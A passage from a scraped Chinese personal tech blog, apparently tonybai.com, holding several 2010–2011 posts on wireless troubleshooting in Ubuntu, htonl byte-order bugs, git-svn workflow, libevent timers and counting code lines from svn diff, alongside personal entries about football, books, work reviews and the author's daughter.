切换到Win7下，Win7设备管理器显示无线网卡设备正常，驱动正常；反复停用、启用无线，都无法使指示灯亮起；\u003cbr\u003e\n* 重启机器，F1进入BIOS，查看网络设备也是Enabled，遂将BIOS恢复成默认出厂设置；\u003cbr\u003e\n* 再尝试进入Win7，蓝屏，提示修复，修复若干次依旧无法进入Win7，无线指示灯依旧处于熄灭状态;\u003cbr\u003e\n* 继续回到Ubuntu下折腾，卸载Network Manager，更换网络管理软件，用T400下载\u003ca href=\"http://wicd.sourceforge.net/\"\u003eWCID\u003c/a\u003e，并用U盘COPY到x60里安装(家里没有备网线)，WCID也没比自带的Network Manager好哪里去，依旧无法找到无线网卡；\u003cbr\u003e\n* 恢复Network Manager；\u003cbr\u003e\n* 用系统-\u0026gt;系统管理-\u0026gt;系统日志查看器查看系统日志，看到如下错误日志：\u003cbr\u003e\n    dhclient: receive_packet failed on wlan0: Network is down\u003cbr\u003e\n    wpa_supplicant[824]: Failed to initiate AP scan.\u003cbr\u003e\n    NetworkManager:   WiFi now disabled by radio killswitch\u003cbr\u003e\n    NetworkManager:   (wlan0): device state change: 8 -\u0026gt; 2 (reason 0)\u003cbr\u003e\n    NetworkManager:   (wlan0): deactivating device (reason: 0).\u003cbr\u003e\n    NetworkManager:   (wlan0): canceled DHCP transaction, dhcp client pid 2816\u003cbr\u003e\n* 根据网上资料，按如下操作：\u003cbr\u003e\n  – sudo -i\u003cbr\u003e\n  – echo 1 \u0026gt; /sys/class/rfkill/rfkill0/state\u003cbr\u003e\n  – 重启机器\u003cbr\u003e\n  问题依旧。\u003c/p\u003e","title":"眼神儿太差了"},{"content":"眼看就要到春节假期了，公司E-HR平台上我的账户下还有一项待处理的工作：填写一份\u0026quot;领导力发展回顾与提升计划\u0026quot;表格。表格很简单，5分钟就能填完，不过其中有一项我自己很难填写：\u0026ldquo;您了解或感知同事/或下属对您的期望\u0026rdquo;。虽说可以自我感知，不过我更想听到我的同事真实的声音。 于是乎我就在产品线内发出了一封Mail，希望能够得到大家真实的想法。\n小半天，我就收到同事的十几封反馈Mail，多数Mail中大家都提出了对我的期望以及对研发线的期望；另外在很多同事的Mail中还包括了对我个人以及工作的肯定，这让我十分感动，我相信大家的反馈是发自内心的。\n将同事们的期望总结一下，大致有以下几点：\n1、继续在研发线内引入和推广业内的优秀实践，扩大团队视野，提升团队能力；\n2、将已经采用的实践继续扎实的做下去，做深做精；\n3、分配工作时尽量兼顾同事们的个人期望；\n4、产品线内各项目间平衡投入；\n5、给予下属同事更多关于高效工作方法和提高解决问题能力上的指导；\n6、提供更多的同事间相互交流的渠道或者平台；\n7、多多组织业余团队活动，这是很多同事共同的期望。\n两天前曾与我的直接领导面谈了一次，谈了很多，包括新职位要求、部门对我的期望、改善团队关系等等，后来又开始发散，说到个人性格、适宜的职涯发展路线等。其实这两年随着年龄的增大，经验阅历的丰富，我也逐渐开始了认真地自我认知（以前有些随波逐流），渐渐地知道了自己需要什么、想要得到什么、反感什么以及不愿去做什么。做事开始有了倾向性，好恶分明，做喜欢做的事儿，而对那些不喜欢的事情不屑一顾。\n我从来都不认为自己是一个外向的人，不过在我喜欢事情上我却是外向的、健谈的甚至是热烈奔放的，说起话来是滔滔不绝的；另外我个人做事比较低调內敛，属于实干型，估计大多技术出身的人都具有同样品质；这几年的历练让我逐渐培养起了大局观，处事冷静沉稳，思路清晰；另外做任何事情都追求高标准，不仅要有好的结果，还要有好的过程。自认为是一个完美主义者，甚至有些偏执；擅于思考，追求高效；强烈的自我驱动；追求简单的人与人之间的关系。\n当将近而立之年时，多数人会进入一个人的认知动荡期，他会重新思考自己的人生观、价值观和世界观，思考人生，找出好恶，做出一些改变，做出一些选择，甚至是主动做出一些放弃。也许通过了这个阶段，你的人生之路就会变得更加笔直和清晰。\n有了孩子后，我更多的是挤出时间来做自己工作之外想做的事情，辛苦，却有意义，有成就感。不是有那么一句话么：风烛残年时，当你回忆起往事，让你后悔的不是那些你曾做过的事情，而多数是那些你当时没敢于去做的事情。\n要敢于去做，并把事情做好！\n2011年，我将继续在技术的深度和广度上齐头并进。而在做人方面，多些包容，少些苛刻。\n","permalink":"https://tonybai.com/2011/01/26/the-expectations-of-my-colleagues-in-2011/","summary":"\u003cp\u003e眼看就要到春节假期了，公司E-HR平台上我的账户下还有一项待处理的工作：填写一份\u0026quot;领导力发展回顾与提升计划\u0026quot;表格。表格很简单，5分钟就能填完，不过其中有一项我自己很难填写：\u0026ldquo;您了解或感知同事/或下属对您的期望\u0026rdquo;。虽说可以自我感知，不过我更想听到我的同事真实的声音。 于是乎我就在产品线内发出了一封Mail，希望能够得到大家真实的想法。\u003c/p\u003e","title":"2011·同事对我的期望"},{"content":"2010年末的网上卖书大战进行的如火如荼，在这场大战初期我就低价收了《深入理解计算机系统》第二版，放在书柜里待有时间重温。记得当初还是在LP学校的图书馆里借到了这本书的第一版，并在第一个借阅期内看完了除第四章”处理器体系结构”之外的所有章节。之后又恋恋不舍，让LP续借了一次。我对这本书还真有一种相见恨晚的感觉，真遗憾我在大学期间怎么没发现这样一本好书呢。\n网络卖书大战到现在也基本接近尾声了，不过我却又有了买书的冲动，也算是给自己的新春贺礼吧，春节长假也有好书来消遣了^_^。遂下午在亚马逊下了单（还有满99送畅销书的活动哦^_^）。书单如下：\n《少有人走的路:心智成熟的旅程》，这本书dutor推荐的，豆瓣上的口碑也不错，书不厚，比较符合现在的我的胃口；\n《苏菲的世界》，这本书买来就是为了弥补高中和大学时未能读过这本书的遗憾，同时也算是哲学入门学习路上的一站吧。\n卡尔·萨根的《宇宙》，自从霍金的《时间简史》插图版后，似乎好久没有读这方面的科普读物了，这次想找回点感觉，让脑力在广袤无垠的宇宙里激荡一下。\n《电子设计从零开始》和《电子电气工程师必知必会》2nd让我重新拾起了老本行。我非计算机科班出身，大学是学电子电路相关专业的，后因着迷计算机编程而忽视了本专业的学习。现在计算机是主业了，电子电路反倒成兴趣了^_^。\n","permalink":"https://tonybai.com/2011/01/24/booklist-2011-01-24/","summary":"\u003cp\u003e2010年末的网上卖书大战进行的如火如荼，在这场大战初期我就低价收了《\u003ca href=\"http://book.douban.com/subject/5333562/\"\u003e深入理解计算机系统\u003c/a\u003e》第二版，放在书柜里待有时间重温。记得当初还是在LP学校的图书馆里借到了这本书的第一版，并在第一个借阅期内看完了除第四章”处理器体系结构”之外的所有章节。之后又恋恋不舍，让LP续借了一次。我对这本书还真有一种相见恨晚的感觉，真遗憾我在大学期间怎么没发现这样一本好书呢。\u003c/p\u003e\n\u003cp\u003e网络卖书大战到现在也基本接近尾声了，不过我却又有了买书的冲动，也算是给自己的新春贺礼吧，春节长假也有好书来消遣了^_^。遂下午在亚马逊下了单（还有满99送畅销书的活动哦^_^）。书单如下：\u003c/p\u003e","title":"说书单2011.01.24"},{"content":"也许你经常遇到这类情况：你在代码里使用了别人提供的第三方库，当库升级为新版本后，你的代码在编译时无法通过，提示接口原型错误，经查发现原来是该第三方库提供的某接口的原型发生了变化，比如原接口被删除、增加了参数、参数减少了、修改了参数类型以及返回类型发生变化了等等。你也许会不由自主的大骂一句：F**k。\n我们换位思考一下，假如你是某个库的Owner，当你遇到需要修改接口原型的情形时，你应该如何去做呢？这里考量出一些方法供参考：\n1、谨慎评估：是否一定非得修改接口原型这么做，是否有其他办法解决此问题，毕竟修改接口原型涉及改造面太大了；\n2、退而求次，另立新接口，并告知调用者本库的那个老接口已经被标识为obsoleted了。以后就不要用再用该接口了，而是直接用新的吧；\n3、如果实在迫于无奈，只能变更接口原型才能达到目的，那么也要小心驶得万年船：考虑到你的客户，小心翼翼地规划库版本，可将那些无需变更接口的需求放入小版本中，支持快速发布，满足调用者需求；而那些只能通过变更接口才能实现的需求，可考虑都汇总到后续发布的某个较大版本的分支中，这样发布间隔变长，也在一定程度上降低了调用者为适应新库而进行修改的频度。\n其实我们很是希望在进行库设计时，一旦接口原型敲定，就再也无需变化。但现实是残酷的，变化是永恒的。我们只能更加关注和完善前期设计，尽量减少而却无法避免接口原型变更的可能。\n","permalink":"https://tonybai.com/2011/01/24/response-for-the-interface-prototype-change/","summary":"\u003cp\u003e也许你经常遇到这类情况：你在代码里使用了别人提供的第三方库，当库升级为新版本后，你的代码在编译时无法通过，提示接口原型错误，经查发现原来是该第三方库提供的某接口的原型发生了变化，比如原接口被删除、增加了参数、参数减少了、修改了参数类型以及返回类型发生变化了等等。你也许会不由自主的大骂一句：F**k。\u003c/p\u003e","title":"应对库接口原型变更"},{"content":"今天上午处理了一个线上产品的故障。分析来分析去，最后定位问题还是出在字节序转换的环节上。\n其实测试组早在产品上线前就曾报告了这个问题，但是对应的开发人员并未对该问题进行深入地分析，而是有些草率地将该问题归结为客户端模拟器的实现不符合标准。因为这位同事比较资深，所以当时我也没有给予足够关注。\n产品今天凌晨上线，9点左右业务量开始增大，这个问题立即就被我们在现场的运维人员发现，还好我们的系统是集群式的，运维同事及时的将线上有问题的版本停掉，用其他服务器支撑起了全部业务，躲过一劫。\n我们还是回到这个问题上来。经验告诉我们：严重的问题往往都是由极其简单的错误导致的。这次也不例外！问题的直接原因就是：多调用了一次htonl。的确就是这么简单，但如果继续深入下去，我们还能得到一些收获。\n当产品运行在x86服务器上，这个问题就会暴露出来，但是在Sun Sparc服务器上，该产品运行良好。我们分析后的结论是：这是由于在两种体系结构上htonl的实现不同而导致的。\n我们先来做个试验，看下面的代码和执行结果：\n/* testhtonl.c */\n#include \u0026ldquo;stdio.h\u0026rdquo;\n#include \u0026ldquo;arpa/inet.h\u0026rdquo;\nint main() {\nunsigned int a = 0×12345678;\nunsigned int b = htonl(a);\nprintf(\u0026ldquo;0x%x\\n\u0026rdquo;, b);\nprintf(\u0026ldquo;0x%x\\n\u0026rdquo;, htonl(b));\nreturn 0;\n}\n将上面代码分别在x86和Sparc上编译运行。在x86上(ubuntu 10.04 Gcc 4.4.3 x86)运行的结果如下：\n0×78563412\n0×12345678\n而在Sparc上(Solaris 10 for Sparc, Gcc 3.4.6)运行的结果如下：\n0×12345678\n0×12345678\n由此我们可以看出，htonl这个接口并不总等价于字节序转换。在Sparc这种Big-endian体系结构的平台上，htonl相当于直接将参数值返回；而在x86这样的little-endian体系结构平台上，htonl则是等价于一个reverse_byte_order接口，每次调用都会把输入参数的byte order倒转后的结果返回。\n还回到我们的那个问题中：多调了一次htonl在Sparc平台上没有什么影响；但是在x86平台上，我们得到了相反字节序的结果，导致故障的出现。\n这不是我们第一次遇到字节序问题了，不过却是第一次在线上产品中遇到，上一次是在开发过程中遇到的。这次发生的问题并不仅仅是技术上的问题，更多的是在工作的严谨性和工作态度上出现问题了。对我来说，这是一个很值得吸取的教训。\n","permalink":"https://tonybai.com/2011/01/21/encounter-byte-order-problem-again/","summary":"\u003cp\u003e今天上午处理了一个线上产品的故障。分析来分析去，最后定位问题还是出在\u003ca href=\"http://tonybai.com/2005/09/28/also-talk-about-byte-order/\"\u003e字节序\u003c/a\u003e转换的环节上。\u003c/p\u003e\n\u003cp\u003e其实测试组早在产品上线前就曾报告了这个问题，但是对应的开发人员并未对该问题进行深入地分析，而是有些草率地将该问题归结为客户端模拟器的实现不符合标准。因为这位同事比较资深，所以当时我也没有给予足够关注。\u003c/p\u003e","title":"又遇字节序问题"},{"content":"部门一直使用Subversion作为源码版本的管理工具。说实话，Subversion比较适合目前部门的绝大多数项目：没有异地团队开发，代码中心化管理；基本上都在trunk上开发，较少使用分支，基本上没有在各个branch间切换的成本。但对于我来说，有些情况下Subversion并不能满足我的需求。\n问题主要集中在本地代码的备份和版本管理上。也就是说对于尚未或暂无法提交到Subversion服务器的本地代码来说，存在着被误删除和版本更新无法回退两大杯具情形。而对于这些情况，Subversion工具是无能为力的。\n这时我们就需要借助其它工具来帮我们解决问题。Git就是这样一款很给力的工具，它是一款分布式版本管理工具，由linux的缔造者Linus Torvalds设计并实现，具体关于Git的介绍和使用方法可参见其官方站。这里要说的是Git是如何做到既可以管理好本地代码又可以与已有的SVN中心库进行同步的。\n支持去中心化，是Git与生俱来的特性，它在本地保留了从中心服务器clone出来的源码库的全部信息，这样，你在本地修改完代码后便可以直接提交到本地的代码版本库中。本地代码的备份和版本管理的问题就这样被Git轻而一举的就解决了。而本地源码库与SVN中心源码库的同步操作则是由Git提供的git-svn工具来完成的。\ngit-svn默认包含在Git的安装包中，不过在Ubuntu中，git-svn是作为一个独立的Package需要额外安装的(sudo apt-get install git-svn)。安装后你就可以使用git svn xxx命令来操作中心SVN代码库了。当然如果你要使用与git svn等价的git-svn命令的话，你还需要将/usr/lib/git-core配置到你的PATH环境变量中，否则Shell会提示你无法找到git-svn这个命令。\n* 检出一个已存在svn repository(类似于svn checkout)\n我们可以通过git-svn clone命令完成这个操作： git-svn clone your_svn_repository_url\n* 从中心服务器的svn repository获取最新更新\n这个操作可以通过\u0026quot;git-svn rebase\u0026quot;完成。注意这里用的是rebase，而不是update。update命令对于通过git-svn检出的svn repostory的git版本库是不可用的。\n* 查看提交历史日志\n这个简单，使用\u0026quot;git-svn log\u0026quot;，加上-v选项，还可以提供每次commit操作涉及的相关文件的详细信息。\n* 将本地代码同步到Svn服务器\n完成这一操作需要通过\u0026quot;git-svn dcommit\u0026quot;命令。这个命令会将你在本地使用git commit提交到本地代码库的所有更改逐一提交到svn库中。加上-n选项，则该命令不会真正执行commit到svn的操作，而是会显示会有哪些本地变动将被commit到svn服务器。git-svn dcommit似乎不能单独提交某个本地版本的修改，而是一次批量提交所有与svn中心版本库的差异。\n下面是一个git-svn的一般使用流程：\n1、git-svn clone your_svn_repository；\n2、修改本地代码，使用git add/commit将修改提交到本地git库；\n3、定期使用git-svn rebase获取中心svn repository的更新；\n4、使用git-svn dcommit命令将本地git库的修改同步到中心svn库。\n使用git-svn处理代码冲突的步骤有些繁琐，不过瑕不掩瑜吧。这里用一个小例子来说明一下。\n假设某svn中心库上的某个项目foo中只有一个源码文件foo.c：\n* 我在使用git-svn clone检出版本时，foo.c当时只有一个commit版本信息：\u0026ldquo;svn v1\u0026rdquo;；\n* clone出来后，我在本地git库中修改foo.c，并通过git commit提交到本地git库中，版本为\u0026quot;git v1\u0026quot;；\n* 不过与此同时另外一个同事也在修改foo.c这个文件，并已经将他的修改提交到了svn库中，版本为\u0026quot;svn v2\u0026quot;；\n* 此时我使用git-svn dcommit尝试提交我的改动，git-svn提示我：\nCommitting to svn://10.10.1.1:80/foo …\nM foo.c\n事务过时: 过期: ”foo/foo.c“在事务“260-1” at /usr/lib/git-core/git-svn line 570\n* 使用git-svn rebase获取svn服务器上的最新foo.c，导致与foo.c冲突，不过此时svn版本信息已经添加到本地git库中(通过git log可以查看)，git-svn rebase提示你在解决foo.c的冲突后，运行git rebase –continue完成rebase操作；\n* 打开foo.c，修改代码，解决冲突；\n* 执行git rebase –continue，git提示我：\nYou must edit all merge conflicts and then\nmark them as resolved using git add\n* 执行git add foo.c，告知git已完成冲突解决；\n* 再次执行git rebase –continue，提示\u0026quot;Applying: git v1\u0026quot;，此时\u0026quot;git v1\u0026quot;版本又一次成功加入本地版本库，你可通过git log查看；\n* 执行git-svn dcommit将foo.c的改动同步到svn中心库，到此算是完成一次冲突解决。\n","permalink":"https://tonybai.com/2011/01/20/try-git-svn/","summary":"\u003cp\u003e部门一直使用\u003ca href=\"http://subversion.apache.org/\"\u003eSubversion\u003c/a\u003e作为源码版本的管理工具。说实话，Subversion比较适合目前部门的绝大多数项目：没有异地团队开发，代码中心化管理；基本上都在trunk上开发，较少使用\u003ca href=\"http://tonybai.com/2010/08/26/also-talk-about-branch/\"\u003e分支\u003c/a\u003e，基本上没有在各个branch间切换的成本。但对于我来说，有些情况下Subversion并不能满足我的需求。\u003c/p\u003e\n\u003cp\u003e问题主要集中在本地代码的\u003ca href=\"http://tonybai.com/2010/09/19/personal-code-backup-and-revision-control/\"\u003e备份和版本管理\u003c/a\u003e上。也就是说对于尚未或暂无法提交到Subversion服务器的本地代码来说，存在着被误删除和版本更新无法回退两大杯具情形。而对于这些情况，Subversion工具是无能为力的。\u003c/p\u003e\n\u003cp\u003e这时我们就需要借助其它工具来帮我们解决问题。\u003ca href=\"http://git-scm.com/\"\u003eGit\u003c/a\u003e就是这样一款很给力的工具，它是一款分布式版本管理工具，由linux的缔造者\u003ca href=\"http://en.wikipedia.org/wiki/Linus_Torvalds\"\u003eLinus Torvalds\u003c/a\u003e设计并实现，具体关于Git的介绍和使用方法可参见其\u003ca href=\"http://git-scm.com/\"\u003e官方站\u003c/a\u003e。这里要说的是Git是如何做到既可以管理好本地代码又可以与已有的SVN中心库进行同步的。\u003c/p\u003e","title":"小试git-svn"},{"content":"今天凌晨国际足联公布并颁发了2010年度国际足坛的各大奖项，最让我感到欣喜的是巴萨国王梅西当选首届国际足联金球先生，蝉联了金球奖。\n说实话，真的没有想到我的期望能变成现实。不过最终结果出炉前还是有种种迹象表明梅西是有机会的。首先就是梅西压倒去年表现优异的斯奈德，与两位世界冠军队友哈维和伊涅斯塔携手入围金球三甲。其次就是在今天凌晨当普斯卡什年度最佳进球奖被授予土耳其人阿尔滕托普后，我的内心对梅西的当选又有了进一步的期待。还记得去年FIFA颁奖时，C.罗因无力竞争世界足球先生，被国际足联安慰性的给了一个普斯卡什奖。这样考虑的话，如果今年梅西最终不能当选，很可能也会得到一个最佳进球奖，并且梅西入围的进球也确实很漂亮。但这次FIFA将悬念彻彻底底的留到了最后，梅西力压小白和哈维卫冕金球。\n事后很多媒体用\u0026quot;爆冷\u0026quot;、\u0026ldquo;意外\u0026quot;等来形容梅西的这次蝉联，不过在我看来三个人谁当选都是正常的。从三个人的得票率来看也能看出这点，谈不上有多意外。梅西是公认的目前这个星球上最佳足球运动员，这本身就可以与金球划上等号了。而且在2010年梅西有着持续的优异表现。虽然阿根廷在世界杯没有进入四强，不过明眼人都可以看出梅西在阿根廷队中所起到的作用。\n从评选的角度来看，梅西的当选也许确实得益于欧洲金球奖和FIFA先生的合并。以往欧洲金球奖的评选来自于专业媒体记者的投票，而媒体记者比较信奉\u0026quot;传统\u0026rdquo;-世界杯年，金球给世界杯表现好的球员。合并后的奖项也许更多的把世界杯外的砝码考虑进去了。\n梅西得奖之余，我心底还是有一丝遗憾，那就是国际足联还欠哈维一座金球。作为巴萨和西班牙国家队的呼吸机，哈维被认可度甚至还不如小白，也许2012年欧洲杯才是哈维的最后机会。作为巴萨球迷，这里只能说一声：哈维，加油！\n总之，这次梅西获得了最广泛的认可，实至名归，没有什么可再议论的了，否则，就有破坏巴萨更衣室团结之嫌疑了^_^。\n","permalink":"https://tonybai.com/2011/01/11/leomessi-defend-his-ballon-dor/","summary":"\u003cp\u003e今天凌晨国际足联公布并颁发了2010年度国际足坛的各大奖项，最让我感到欣喜的是巴萨国王\u003ca href=\"http://en.wikipedia.org/wiki/Lionel_Messi\"\u003e梅西\u003c/a\u003e当选首届\u003ca href=\"http://en.wikipedia.org/wiki/2010_FIFA_Ballon_d'Or\"\u003e国际足联金球先生\u003c/a\u003e，蝉联了金球奖。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/40445_1294711790p.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e说实话，真的没有想到我的期望能变成现实。不过最终结果出炉前还是有种种迹象表明梅西是有机会的。首先就是\u003ca href=\"http://tonybai.com/2006/06/17/messi-the-genius-of-pampas/\"\u003e梅西\u003c/a\u003e压倒去年表现优异的斯奈德，与两位世界冠军队友哈维和伊涅斯塔携手入围金球三甲。其次就是在今天凌晨当普斯卡什年度最佳进球奖被授予土耳其人阿尔滕托普后，我的内心对梅西的当选又有了进一步的期待。还记得去年FIFA颁奖时，C.罗因无力竞争世界足球先生，被国际足联安慰性的给了一个普斯卡什奖。这样考虑的话，如果今年梅西最终不能当选，很可能也会得到一个最佳进球奖，并且梅西入围的进球也确实很漂亮。但这次FIFA将悬念彻彻底底的留到了最后，梅西力压小白和哈维卫冕金球。\u003c/p\u003e","title":"梅西给力，蝉联金球"},{"content":"周四下午，收到同事的一封mail，他告诉我他的业务代码中使用的一个库接口的行为与预期不同，并在mail中给出了测试代码和测试结果。而这个接口是之前由我封装实现的。\n这个库仅仅是对libevent做了一层薄薄的封装，目的是使其接口的使用方式符合部门的一贯风格。虽说封装简单，但单元测试也是一应俱全，不敢马虎，必要的地方mock也一并上阵，总体来说我个人还是比较满意的。\n不过还是出现了问题，问题出在libevent提供的timer的行为上。这是我们第一次使用libevent，我基于以前对timer的事件处理机制的理解作出了错误的假定：libevent提供的timer是PERSIST的。同事的测试结果却表明这个timer设定是一次性的：只运行一次便失效了，除非在timer的callback handler中重新添加timer事件。\n《程序员修炼之道》中在介绍如何深思熟虑而不是靠巧合编程时说过：要测试你的假定。我恰恰是在这块儿犯了错误。尚没有明确libevent的行为就做出了假定而且没有对这个假定做细致测试，最终导致了这个问题的发生。\n这个问题最终是这么解决的：了解了一下，libevent 1.x.x版本确实不支持persist timer事件处理，但是在libevent 2.x.x版本中，作者增加了对persist timer的支持。我们原本使用的是1.4.10的libevent，为了支持persist timer，我将库升级到2.0.10(已经是stable版了)。不过仅仅是升级库版本还是不行的。我们不能直接使用libevent提供的evtimer_set接口，因为使用该接口后，我们得到的依旧是一次性的timer。这里需要用event_set(e, -1, EV_PERSIST, eh, arg)替代evtimer_set(e, eh, arg)，这样设置后得到的timer才是persist的。\n","permalink":"https://tonybai.com/2011/01/08/do-not-forget-to-test-your-assumption/","summary":"\u003cp\u003e周四下午，收到同事的一封mail，他告诉我他的业务代码中使用的一个库接口的行为与预期不同，并在mail中给出了测试代码和测试结果。而这个接口是之前由我封装实现的。\u003c/p\u003e","title":"别忘了测试你的假定"},{"content":"年终岁尾，又到了该做年终总结的时候了。有些人觉得年终总结很难写，于是自欺欺人的在网上到处高价找枪手；亲自动手写总结的人也是抓耳挠腮，迟迟无法下笔。其实我倒不觉得总结有这么难，自己做过的事写出来又有何难呢!也许是你的心魔在作怪罢了(什么心魔，你懂的!)。对自己负责的人肯定是会主动积极地去做总结的，总结的第一对象也一定是自己，其次它的另外一个用途才是用来提交给领导看的。你的总结无需文采飞扬，关键要言之有物，切中要害，否则与一张废纸无异。总结无非是回顾过去，展望将来，甚至连结构形式都大同小异，所以你只需要认真思考内容就行了。\n写总结时有些人眼里只有成绩，过去一年的成绩能写上几个篇幅，但一到该发掘问题时候就显得耳目闭塞，憋了半天也憋不出来一个字。其实你的领导对你的成绩早已是心中有数，如果这点都做不到的话，那他绝对不是一个合格的领导。我想作为领导的除了下属成绩外，更关心的其实就是下属对工作是否用心了。而总结恰恰就是一种领导了解下属是否对工作用心的渠道。\n我和许多人恰恰相反，我的总结里成绩一笔带过，那些东西毕竟属于过去了，我更多的是向前看，总结的更多是现存的问题以及如何改进的思路和方案思路。\n和去年想比，我的总结也越来越简明扼要了。过渡到简明扼要不是一蹴而就的。年末我也写了一份内容翔实的总结，后来我把它彻底从我的电脑里删除了。把大脑腾空，静下心来想了想：我到底要向我的领导传递什么信息？于是一篇算上落款才一页多两行的pdf格式的总结完成了，其中没有大段的论述，更多的是条目和对条目的诠释，至于成绩那部分，只占了区区四行文字。我这份总结不具备典型特征，大家不必要学^_^。\n对于有心人而言，总结不是年终那几天的事，是全年的时时刻刻都要考虑的事，如果你做到了时时刻刻，那么还害怕那份年终总结吗！\n","permalink":"https://tonybai.com/2011/01/04/about-year-end-summary/","summary":"\u003cp\u003e年终岁尾，又到了该做年终总结的时候了。有些人觉得年终总结很难写，于是自欺欺人的在网上到处高价找枪手；亲自动手写总结的人也是抓耳挠腮，迟迟无法下笔。其实我倒不觉得总结有这么难，自己做过的事写出来又有何难呢!也许是你的心魔在作怪罢了(什么心魔，你懂的!)。对自己负责的人肯定是会主动积极地去做总结的，总结的第一对象也一定是自己，其次它的另外一个用途才是用来提交给领导看的。你的总结无需文采飞扬，关键要言之有物，切中要害，否则与一张废纸无异。总结无非是回顾过去，展望将来，甚至连结构形式都大同小异，所以你只需要认真思考内容就行了。\u003c/p\u003e","title":"关于年终总结"},{"content":"好久没在博客里说果果了，小家伙儿现在淘气的很，这是因为她已经会爬了^_^。其实一个月前果果就能爬了，但只能类似蛙泳式的双手拔地的爬，显得很笨拙，爬行速度和距离都有限。但现在已经可以抬起肚子跪爬了，长距离爬行已不再是问题了。而且遇到床沿儿、沙发扶手之类的\u0026gt;物体，她用手扶着就能自己站立起来。作父母的在欣喜之余，也甚是担心。这一个月来果果没少磕磕碰碰，这也许就是成长的代价吧^_^。\n果果已经开始吃辅食了，而且食欲很好，很能吃，一次甚至可以吃掉一个大苹果(这点有些像爸爸^_^)。再加上母乳很充足，使得果果体格看起来很壮实，个头似乎也比同阶段的孩子大些。不过前两个月健康体检，医生说果果略为缺D(即老百姓常说的缺钙)，并有轻微贫血。医生给果果开了大剂量补D的胆维丁乳和一些治疗贫血的药。补血的药果果是很不愿意吃的，喂起来也着实费劲，看着孩子痛苦的表情，遂决定不喂了，代以食补为主。\n下面上几张果果的近照：\n果果学会自己喝水了\n果果和爸爸一样，最喜欢看书了\n果果的圣诞礼物，小家伙儿似乎不太满意哦\n爸爸，你看我站的直不直\n2011新年的第一天，果果通过爸爸的博客祝大家新年快乐。同时爸爸在新年的第一天也希望果果在新的一年里能平平安安，健康快乐，茁壮成长。\n","permalink":"https://tonybai.com/2011/01/01/happy-new-year-from-my-daughter-2011/","summary":"\u003cp\u003e好久没在博客里说\u003ca href=\"http://tonybai.com/2010/09/23/one-hundred-days-photos-of-my-daughter/\"\u003e果果\u003c/a\u003e了，小家伙儿现在淘气的很，这是因为她已经会爬了^_^。其实一个月前果果就能爬了，但只能类似蛙泳式的双手拔地的爬，显得很笨拙，爬行速度和距离都有限。但现在已经可以抬起肚子跪爬了，长距离爬行已不再是问题了。而且遇到床沿儿、沙发扶手之类的\u0026gt;物体，她用手扶着就能自己站立起来。作父母的在欣喜之余，也甚是担心。这一个月来果果没少磕磕碰碰，这也许就是成长的代价吧^_^。\u003c/p\u003e\n\u003cp\u003e果果已经开始吃辅食了，而且食欲很好，很能吃，一次甚至可以吃掉一个大苹果(这点有些像爸爸^_^)。再加上母乳很充足，使得果果体格看起来很壮实，个头似乎也比同阶段的孩子大些。不过前两个月健康体检，医生说果果略为缺D(即老百姓常说的缺钙)，并有轻微贫血。医生给果果开了大剂量补D的胆维丁乳和一些治疗贫血的药。补血的药果果是很不愿意吃的，喂起来也着实费劲，看着孩子痛苦的表情，遂决定不喂了，代以食补为主。\u003c/p\u003e","title":"果果祝大家新年快乐"},{"content":"很多公司的过程中都有阶段性统计新增或修改的有效代码行数这一环节，这里先不论统计出的结果用于做什么，就统计本身而言，常常存在诸多问题，比如统计过程耗时且繁琐、统计结果中估算成分较大，不精确等。这些问题以前也一直困扰着我们，并且长时间没有想出很好的解决办法。\n今天脑子里突然冒出一个想法：能否根据svn diff得到的结果分析出来有效代码量呢？ svn diff的结果一般是这样的，分为几类：\n纯新增代码，如：\n+void foo() {\n+ … …\n+}\n纯删除代码，如：\n-void foo() {\n- … …\n-}\n修改的代码，如：\n-void foo(void);\n+void foo(int);\n我们所要统计的所谓有效代码更多是指纯新增的代码和修改的代码，纯删除的代码可忽略不计。这样一来实际有效代码行数 = 纯新增代码行数 + 修改代码行数；而修改的代码在svn diff结果中体现为一减一加，实际修改行数是等于其+的行数的。也就是说有效代码行数就是svn diff结果中所有前缀为+的行的行数。svn diff输出格式相对规整，通过解析得到这个行数并非难事。最简单的方法就是使用Shell脚本了。\n脚本全部内容这里就不列出来了，这里可以下载。其核心代码只有以下两行：\nsvn diff -r$start_revision:$end_revision $target $USERNAME $PASSWD \u0026gt; $TEMPFILE\nadd_lines_count=`grep \u0026ldquo;^+\u0026rdquo; $TEMPFILE|grep -v \u0026ldquo;^+++\u0026quot;|sed \u0026rsquo;s/^.//\u0026rsquo;|sed \u0026lsquo;/^$/d\u0026rsquo;|wc -l`\n首先我们使用svn diff命令将两个修订号之间的差异重定向到一个临时文件中，然后使用grep、sed和wc的组合完成行数的计算：其中首先过滤出以+开头的行，但去除其中+++开头的行，得到的是所有只以一个+开头的行。再利用set \u0026rsquo;s/^.//\u0026lsquo;删除每行行首的那个+，用set \u0026lsquo;/^$/d\u0026rsquo;删除所有空行，最后利用wc -l计算总行数。\n也就是说通过上面脚本运行后得到的有效代码行数是不包括空行的，但是包含注释代码。\n有了这个脚本，以后的版本有效代码量统计就相当精确了，而且也无需每个人都参与统计，大大减少了工作量，甚至可以将这个工作做成自动化完成。\n现在的我痛恨一切效率低下的个人行为和过程活动！遇到问题坚决改善，绝不姑息^_^。\n","permalink":"https://tonybai.com/2010/12/24/an-effectual-method-based-on-svn-diff-for-code-quantity-statistics/","summary":"\u003cp\u003e很多公司的过程中都有阶段性统计新增或修改的有效代码行数这一环节，这里先不论统计出的结果用于做什么，就统计本身而言，常常存在诸多问题，比如统计过程耗时且繁琐、统计结果中估算成分较大，不精确等。这些问题以前也一直困扰着我们，并且长时间没有想出很好的解决办法。\u003c/p\u003e","title":"基于svn diff结果的有效代码量统计"},{"content":"记得上次折腾Review Board这个在线代码评审工具还是在一年前，那时的Review Board版本是1.0.3；这周部门的一位同事也在折腾Review Board，不过现在的版本已经升级到了1.5.1了。新版Review Board显然修正了许多旧版本中存在的问题，另外无法支持ssl邮件端口的问题也被我这位同事通过更换django源文件的方式搞定了。Review Board好用了，下一步需要关注的就是怎样才能用好Review 